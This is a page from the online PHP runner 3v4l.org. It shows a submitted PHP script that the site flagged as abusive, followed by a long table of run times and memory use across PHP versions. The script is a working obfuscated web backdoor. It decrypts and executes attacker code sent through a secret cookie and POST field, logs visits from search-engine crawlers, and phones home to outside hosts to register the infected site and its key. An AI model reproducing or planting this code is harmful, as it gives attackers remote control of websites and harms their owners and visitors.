3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (function_exists('ini_set')){ @ini_set('allow_url_fopen', 1); @ini_set('display_errors', 0); } define('DISALLOW_FILE_EDIT', true); define('determinator', 1); function rc4($key, $string) { $j=$i-$i=-1; $s=array(); $result=implode($s); for ($a=256;++$i<$a;$s[$i]=$i); $x=$i=$j-1; for ($key_len=strlen($key); ++$i<$a;$s[$j]=$x){ $j=($j + $s[$i] + ord($key[$i % $key_len])) % $a; $x=$s[$i]; $s[$i]=$s[$j]; //$s[$j]=$x; } for ($y=$j=$i=0; $y<strlen($string);){ $i=++$i%$a; $j=($j + $s[$i]) % $a; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $result.=$string[$y++] ^ chr($s[($s[$i]+$s[$j]) % $a]); } return $result; } function w3net_feof($fp, &$start=NULL) { $start = microtime(true); return feof($fp); } function php_server_lower($item){ return @strtolower(@$_SERVER[$item]); } $source='{{source}}'; $ver='{{version}}'; $salt='{{salt}}'; $host='http'; $show_for_agents='google+yahoo+baidu+bingbot+msnbot+yandex'; $empty_string=implode(array()); if (isset($_SERVER['HTTPS'])){ if (@$_SERVER['HTTPS'] != 'off') $host.='s'; } $host.='://'.php_server_lower('HTTP_HOST'); //do sql enjection filter $badwords = 'base64_decode+union+select'; foreach (array_keys($_GET) as $key){ foreach(explode('+',$badwords) as $badware){ $_GET[$key]=str_replace($badware, $empty_string,$_GET[$key]); } } //IIS path if(!isset($_SERVER['REQUEST_URI'])) { $request_uri=@$_SERVER['SCRIPT_NAME']; if(isset($_SERVER['QUERY_STRING'])) { $request_uri.= '?' . @$_SERVER['QUERY_STRING']; } } else{ $request_uri=$_SERVER['REQUEST_URI']; } if (strlen($host) < 10){ define("web_inspector", 0); } elseif ($uri=$host.$request_uri){ $secure_key=@md5($host.PHP_OS.$ver.$salt); //find the directory $ds = DIRECTORY_SEPARATOR; $tmpdir=dirname(__FILE__).$ds; $tempdirs = Array( '/dev/shm', '/tmp/.font-unix', '/tmp/.ICE-unix', @$_SERVER['TMP'], @$_SERVER['TEMP'], @$_ENV['TMP'], @$_ENV['TMPDIR'], @$_ENV['TEMP'], '/tmp', @ini_get('upload_tmp_dir'), $tmpdir.'tmp', $tmpdir.'wp-content/uploads', $tmpdir.'wp-content/cache' ); if (defined('forced_dir')){ array_unshift($tempdirs, constant('forced_dir')); } foreach ($tempdirs as $location){ if (!empty($location)){ $location.=$ds; if (@is_writable($location)){ $tmpdir = $location; break; } } } $w3n_code=$tmpdir.'.'.$secure_key; define("web_inspector", $w3n_code); $w3n_log = $w3n_code.'.log'; $cookie_key = md5($secure_key); if (isset($_COOKIE[$cookie_key])){ $base64 = 'base64_decode'; echo "\r\n"; echo "version:".$ver."-".$source."-php\r\n"; echo "directory:".dirname(__FILE__)."\r\n"; if ($code=@$_POST[$cookie_key]){ $code=rc4($secure_key, $base64($code)); $w3n_exec=$w3n_code.".run"; $fh=@fopen($w3n_exec, 'w'); @fwrite($fh, "<?php ".$code); @fclose($fh); @include($w3n_exec); @unlink($w3n_exec); // $streammeta = 'stream_get_meta_data'; // fwrite($temp=tmpfile(), "<?php ".$code); // $meta = $streammeta($temp); // include($meta['uri']); // fclose($temp); // eval($code); } exit(0); } $se_bot=0; $useragent = php_server_lower('HTTP_USER_AGENT'); foreach (explode('+', $show_for_agents) as $refitm){ if (strpos($useragent, $refitm)!==False){ //log query $logfile = @fopen($w3n_code.'.log', 'a'); $requesturl = @urlencode($request_uri); @fwrite($logfile, time()."\t".$refitm."\t".$requesturl."\n"); @fclose($logfile); ++$se_bot; break; } } if (@is_file($w3n_code)){ @touch($w3n_code); @include_once($w3n_code); } elseif ($se_bot>0){ $domains = Array('{{ping_domain}}','e2.krebs.com','b4.foralice.com'); if (@touch($w3n_code)){ $uri=@urlencode($uri); $path = '/wp-config.php?u='.$uri.'&k='.$secure_key.'&t=php&p='.$source.'&v='.$ver; //get_content $host=$domains[0]; $curl='curl_'; $curl_init = $curl.'init'; if (@ini_get('allow_url_fopen') == '1') { @file_get_contents('http://' . $host . $path. '&w=fgc'); } //curl elseif (function_exists($curl_init)){ $curlhandler = @$curl_init(); $curl_setopt = $curl.'setopt'; @$curl_setopt($curlhandler, CURLOPT_URL, 'http://'.$host.$path. '&w=cu'); @$curl_setopt($curlhandler, CURLOPT_HEADER, 0); @$curl_setopt($curlhandler, CURLOPT_RETURNTRANSFER, 1); @$curl_setopt($curlhandler, CURLOPT_CONNECTTIMEOUT, 7); $curl_exec = $curl.'exec'; $curldata = @$curl_exec($curlhandler); @curl_close($curlhandler); } //fsock open else { $port = 80; $fp = @fsockopen($host, $port, $errno, $errstr, 5); if ($fp) { $start = NULL; @fputs($fp, "GET {$path}".'&w=sk HTTP/1.0'."\r\n".'Host: '."{$host}\r\n"); $user_agent = PHP_OS.'/'.PHP_VERSION; @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while(!w3net_feof($fp, $start) && (microtime(true) - $start) < 2){ @fgets($fp, 128); } @fclose($fp); } } @touch($w3n_code); } } } else { define("web_inspector", 1); } echo 'qwe'; ?>

Abusive script

This script was stopped while abusing our resources

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.110.0110.00516.89
8.3.90.0230.00717.36
8.3.80.0490.00316.63
8.3.70.0360.01117.02
8.3.60.0340.01117.09
8.3.50.0180.00717.35
8.3.40.0240.01117.77
8.3.30.0250.01117.65
8.3.20.0270.00317.73
8.3.10.0240.00417.74
8.3.00.0160.00821.85
8.2.210.0200.01016.34
8.2.200.0230.00416.63
8.2.190.0190.00517.15
8.2.180.0190.00517.06
8.2.170.0190.00717.86
8.2.160.0200.00817.86
8.2.150.0220.00517.91
8.2.140.0210.00617.78
8.2.130.0160.00621.85
8.2.120.0170.00821.82
8.2.110.0130.00621.52
8.2.100.0200.00720.42
8.2.90.0210.00520.37
8.2.80.0180.00620.26
8.2.70.0170.00529.99
8.2.60.0210.00520.06
8.2.50.0180.00520.12
8.2.40.0180.00520.15
8.2.30.0180.00620.12
8.2.20.0160.00620.12
8.2.10.0210.00620.17
8.2.00.0190.00620.13
8.1.290.0300.01316.50
8.1.280.0300.00716.89
8.1.270.0310.00517.65
8.1.260.0200.00621.82
8.1.250.0180.00821.77
8.1.240.0150.00721.28
8.1.230.0150.00520.63
8.1.220.0170.00620.22
8.1.210.0160.00520.32
8.1.200.0150.00419.95
8.1.190.0170.00519.95
8.1.180.0180.00519.93
8.1.170.0160.00620.01
8.1.160.0160.00519.95
8.1.150.0170.00420.19
8.1.140.0150.00619.97
8.1.130.0140.00620.02
8.1.120.0150.00520.01
8.1.110.0170.00419.98
8.1.100.0170.00419.95
8.1.90.0170.00419.96
8.1.80.0170.00419.96
8.1.70.0200.00220.05
8.1.60.0180.00520.03
8.1.50.0170.00520.09
8.1.40.0180.00620.07
8.1.30.0170.00520.09
8.1.20.0170.00520.05
8.1.10.0170.00420.05
8.1.00.0130.00720.03
8.0.300.0180.00419.91
8.0.290.0180.00419.77
8.0.280.0150.00619.71
8.0.270.0160.00619.77
8.0.260.0150.00619.76
8.0.250.0180.00519.76
8.0.240.0170.00419.75
8.0.230.0180.00419.77
8.0.220.0160.00619.72
8.0.210.0170.00419.69
8.0.200.0180.00619.72
8.0.190.0160.00719.81
8.0.180.0170.00419.77
8.0.170.0210.00419.75
8.0.160.0200.00519.73
8.0.150.0190.00419.71
8.0.140.0180.00519.78
8.0.130.0160.00419.80
8.0.120.0160.00519.70
8.0.110.0150.00419.73
8.0.100.0170.00519.74
8.0.90.0180.00419.70
8.0.80.0160.00619.74
8.0.70.0170.00619.76
8.0.60.0200.00619.75
8.0.50.0220.00319.75
8.0.30.0190.00519.83
8.0.20.0200.00419.80
8.0.10.0170.00619.82
8.0.00.0200.00520.33
7.4.330.0170.00419.47
7.4.320.0170.00519.63
7.4.300.0200.00419.81
7.4.290.0180.00419.79
7.4.280.0180.00819.63
7.4.270.0180.00519.80
7.4.260.0180.00519.64
7.4.250.0170.00619.58
7.4.240.0170.00719.76
7.4.230.0170.00719.61
7.4.220.0210.00419.77
7.4.210.0190.00619.61
7.4.200.0190.00619.81
7.4.190.0170.00619.61
7.4.180.0180.00719.64
7.4.160.0210.00519.81
7.4.150.0210.00519.79
7.4.140.0190.00419.76
7.4.130.0170.00819.59
7.4.120.0180.00619.59
7.4.110.0180.00619.61
7.4.100.0200.00419.60
7.4.90.0190.00519.59
7.4.80.0190.00619.59
7.4.70.0200.00319.58
7.4.60.0180.00419.63
7.4.50.0220.00419.56
7.4.40.0210.00519.61
7.4.30.0220.00419.58
7.4.20.0200.00619.58
7.4.10.0210.00419.58
7.4.00.0180.00319.78
7.3.330.0180.00419.59
7.3.320.0160.00519.54
7.3.310.0140.00619.61
7.3.300.0170.00419.60
7.3.290.0140.00519.62
7.3.280.0150.00419.60
7.3.270.0170.00419.61
7.3.260.0180.00319.59
7.3.250.0150.00519.64
7.3.240.0160.00619.57
7.3.230.0160.00719.60
7.3.220.0190.00519.57
7.3.210.0210.00319.53
7.3.200.0190.00419.56
7.3.190.0180.00519.53
7.3.180.0180.00519.55
7.3.170.0160.00719.58
7.3.160.0200.00519.55
7.3.150.0180.00519.56
7.3.140.0200.00519.57
7.3.130.0200.00619.57
7.3.120.0180.00419.58
7.3.110.0170.00619.56
7.3.100.0210.00519.57
7.3.90.0200.00419.61
7.3.80.0180.00519.58
7.3.70.0170.00619.58
7.3.60.0180.00419.62
7.3.50.0170.00619.58
7.3.40.0180.00419.62
7.3.30.0190.00419.58
7.3.20.0250.00620.08
7.3.10.0200.00520.09
7.3.00.0170.00620.05
7.2.340.0160.00619.74
7.2.330.0190.00419.63
7.2.320.0200.00519.58
7.2.310.0200.00519.55
7.2.300.0180.00419.59
7.2.290.0170.00519.57
7.2.280.0180.00419.58
7.2.270.0180.00319.61
7.2.260.0170.00519.62
7.2.250.0180.00619.60
7.2.240.0160.00819.60
7.2.230.0200.00419.57
7.2.220.0220.00419.61
7.2.210.0190.00619.53
7.2.200.0200.00519.63
7.2.190.0200.00619.62
7.2.180.0180.00719.59
7.2.170.0220.00319.64
7.2.160.0190.00619.67
7.2.150.0240.00620.36
7.2.140.0230.00320.13
7.2.130.0190.00720.19
7.2.120.0190.00720.19
7.2.110.0190.00620.19
7.2.100.0230.00420.18
7.2.90.0190.00420.18
7.2.80.0200.00420.15
7.2.70.0200.00520.13
7.2.60.0180.00620.23
7.2.50.0190.00520.16
7.2.40.0190.00520.21
7.2.30.0170.00720.11
7.2.20.0190.00420.22
7.2.10.0190.00420.30
7.2.00.0200.00420.16
7.1.330.0160.00419.81
7.1.320.0150.00519.75
7.1.310.0150.00419.81
7.1.300.0200.00319.81
7.1.290.0130.00719.79
7.1.280.0150.00519.83
7.1.270.0160.00519.80
7.1.260.0170.00419.83
7.1.250.0170.00419.79
7.1.240.0160.00519.78
7.1.230.0200.00419.82
7.1.220.0160.00519.79
7.1.210.0150.00519.82
7.1.200.0170.00519.80
7.1.190.0150.00819.81
7.1.180.0180.00419.77
7.1.170.0200.00319.89
7.1.160.0190.00419.54
7.1.150.0160.00519.78
7.1.140.0170.00419.78
7.1.130.0170.00419.81
7.1.120.0170.00519.78
7.1.110.0170.00419.79
7.1.100.0160.00519.79
7.1.90.0160.00619.75
7.1.80.0180.00519.82
7.1.70.0140.00519.79
7.1.60.0170.00319.78
7.1.50.0160.00319.82
7.1.40.0140.00619.83
7.1.30.0170.00619.84
7.1.20.0150.00519.82
7.1.10.0180.00319.79
7.1.00.0140.00519.76
7.0.330.0180.00219.67
7.0.320.0140.00619.71
7.0.310.0160.00419.67
7.0.300.0170.00319.71
7.0.290.0160.00319.73
7.0.280.0160.00519.70
7.0.270.0160.00419.71
7.0.260.0130.00619.67
7.0.250.0140.00419.78
7.0.240.0150.00519.77
7.0.230.0150.00519.75
7.0.220.0160.00419.68
7.0.210.0180.00419.75
7.0.200.0200.00419.76
7.0.190.0190.00319.73
7.0.180.0140.00719.73
7.0.170.0170.00419.71
7.0.160.0160.00519.75
7.0.150.0170.00319.69
7.0.140.0150.00519.73
7.0.130.0150.00519.74
7.0.120.0150.00619.76
7.0.110.0170.00419.76
7.0.100.0170.00519.70
7.0.90.0140.00619.70
7.0.80.0180.00519.69
7.0.70.0170.00519.74
7.0.60.0160.00519.72
7.0.50.0170.00419.71
7.0.40.0160.00619.74
7.0.30.0190.00419.73
7.0.20.0200.00519.74
7.0.10.0160.00519.75
7.0.00.0180.00419.70
5.6.400.0170.00519.48
5.6.390.0160.00719.51
5.6.380.0190.00419.50
5.6.370.0170.00419.47
5.6.360.0180.00419.48
5.6.350.0170.00419.46
5.6.340.0170.00419.47
5.6.330.0170.00719.49
5.6.320.0180.00519.48
5.6.310.0170.00519.46
5.6.300.0150.00619.46
5.6.290.0140.00719.47
5.6.280.0160.00419.50
5.6.270.0140.00519.48
5.6.260.0140.00419.49
5.6.250.0130.00519.50
5.6.240.0140.00519.51
5.6.230.0140.00519.55
5.6.220.0170.00319.48
5.6.210.0150.00519.50
5.6.200.0150.00619.52
5.6.190.0170.00219.50
5.6.180.0130.00519.49
5.6.170.0150.00319.50
5.6.160.0140.00419.52
5.6.150.0150.00319.54
5.6.140.0130.00419.51
5.6.130.0130.00519.50
5.6.120.0140.00419.50
5.6.110.0150.00419.45
5.6.100.0140.00419.46
5.6.90.0130.00519.50
5.6.80.0150.00419.49
5.6.70.0140.00419.52
5.6.60.0110.00519.51
5.6.50.0120.00519.48
5.6.40.0140.00319.52
5.6.30.0120.00419.49
5.6.20.0130.00519.44
5.6.10.0130.00419.48
5.6.00.0140.00519.44
5.5.380.0140.00619.50
5.5.370.0140.00619.49
5.5.360.0160.00319.44
5.5.350.0140.00619.46
5.5.340.0130.00619.47
5.5.330.0130.00519.50
5.5.320.0150.00319.46
5.5.310.0160.00419.45
5.5.300.0130.00619.47
5.5.290.0150.00519.47
5.5.280.0150.00519.46
5.5.270.0160.00419.45
5.5.260.0160.00419.45
5.5.250.0160.00519.46
5.5.240.0170.00419.49
5.5.230.0150.00519.46
5.5.220.0160.00519.44
5.5.210.0180.00319.46
5.5.200.0150.00519.46
5.5.190.0140.00819.45
5.5.180.0160.00519.45
5.5.170.0180.00419.41
5.5.160.0150.00319.44
5.5.150.0160.00419.42
5.5.140.0150.00419.43
5.5.130.0130.00419.43
5.5.120.0130.00419.46
5.5.110.0120.00519.44
5.5.100.0130.00419.49
5.5.90.0150.00319.48
5.5.80.0140.00319.46
5.5.70.0140.00419.50
5.5.60.0120.00619.48
5.5.50.0130.00419.50
5.5.40.0150.00419.50
5.5.30.0150.00319.55
5.5.20.0160.00319.48
5.5.10.0160.00219.46
5.5.00.0140.00519.47
5.4.450.0130.00319.22
5.4.440.0140.00319.22
5.4.430.0110.00419.22
5.4.420.0120.00419.22
5.4.410.0110.00519.22
5.4.400.0130.00419.22
5.4.390.0120.00419.22
5.4.380.0130.00319.22
5.4.370.0100.00519.22
5.4.360.0120.00419.22
5.4.350.0120.00319.22
5.4.340.0140.00319.22
5.4.330.0110.00419.22
5.4.320.0110.00419.22
5.4.310.0130.00219.22
5.4.300.0130.00319.22
5.4.290.0140.00319.22
5.4.280.0100.00419.22
5.4.270.0130.00119.22
5.4.260.0110.00419.22
5.4.250.0100.00419.22
5.4.240.0110.00319.22
5.4.230.0110.00319.22
5.4.220.0100.00519.22
5.4.210.0120.00319.22
5.4.200.0110.00419.22
5.4.190.0100.00319.22
5.4.180.0130.00219.22
5.4.170.0100.00519.22
5.4.160.0100.00319.22
5.4.150.0100.00319.22
5.4.140.0100.00319.22
5.4.130.0110.00219.22
5.4.120.0120.00119.22
5.4.110.0090.00419.22
5.4.100.0090.00419.22
5.4.90.0090.00319.22
5.4.80.0100.00319.22
5.4.70.0120.00119.22
5.4.60.0070.00619.22
5.4.50.0100.00519.22
5.4.40.0100.00419.22
5.4.30.0110.00219.22
5.4.20.0090.00419.22
5.4.10.0100.00419.22
5.4.00.0100.00319.22
5.3.290.0100.00319.22
5.3.280.0110.00319.22
5.3.270.0100.00419.22
5.3.260.0090.00419.22
5.3.250.0100.00319.22
5.3.240.0100.00419.22
5.3.230.0080.00519.22
5.3.220.0110.00319.22
5.3.210.0110.00319.22
5.3.200.0110.00319.22
5.3.190.0100.00419.22
5.3.180.0090.00419.22
5.3.170.0100.00419.22
5.3.160.0100.00319.22
5.3.150.0110.00219.22
5.3.140.0110.00219.22
5.3.130.0110.00219.22
5.3.120.0100.00319.22
5.3.110.0100.00319.22
5.3.100.0100.00319.22
5.3.90.0110.00319.22
5.3.80.0080.00419.22
5.3.70.0080.00519.22
5.3.60.0100.00319.22
5.3.50.0110.00319.22
5.3.40.0110.00419.22
5.3.30.0110.00419.22
5.3.20.0120.00319.22
5.3.10.0130.00419.22
5.3.00.0130.00319.22

preferences:
33.33 ms | 403 KiB | 5 Q